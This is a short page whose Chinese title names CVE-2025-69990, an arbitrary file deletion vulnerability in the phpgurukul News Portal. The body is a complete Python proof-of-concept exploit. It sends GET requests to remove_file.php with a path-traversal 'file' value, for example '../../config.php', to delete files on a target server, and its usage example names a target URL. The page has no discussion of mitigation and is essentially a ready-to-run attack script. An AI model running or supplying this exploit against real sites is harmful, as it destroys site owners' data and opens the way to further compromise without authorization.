CVE-2025-69990 phpgurukul News Portal任意文件删除漏洞

import requests import sys # CVE-2025-69990 PoC - Arbitrary File Deletion in phpgurukul News Portal # Target: remove_file.php # Vulnerability: Insufficient validation of 'file' parameter def exploit(target_url, file_to_delete): """ Exploit arbitrary file deletion vulnerability Args: target_url: Base URL of the vulnerable application file_to_delete: Path to the file to delete (relative or absolute) Returns: bool: True if deletion request sent successfully """ # Construct the vulnerable endpoint endpoint = f"{target_url}/remove_file.php" # Prepare the malicious request # The 'file' parameter is vulnerable to path traversal and arbitrary file deletion params = { 'file': file_to_delete } print(f"[*] Target: {target_url}") print(f"[*] File to delete: {file_to_delete}") print(f"[*] Sending deletion request...") try: # Send GET request to trigger file deletion response = requests.get(endpoint, params=params, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response Status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def main(): if len(sys.argv) < 3: print("Usage: python cve-2025-69990.py <target_url> <file_to_delete>") print("Example: python cve-2025-69990.py http://vulnerable-site.com ../../config.php") sys.exit(1) target_url = sys.argv[1].rstrip('/') file_to_delete = sys.argv[2] exploit(target_url, file_to_delete) if __name__ == "__main__": main()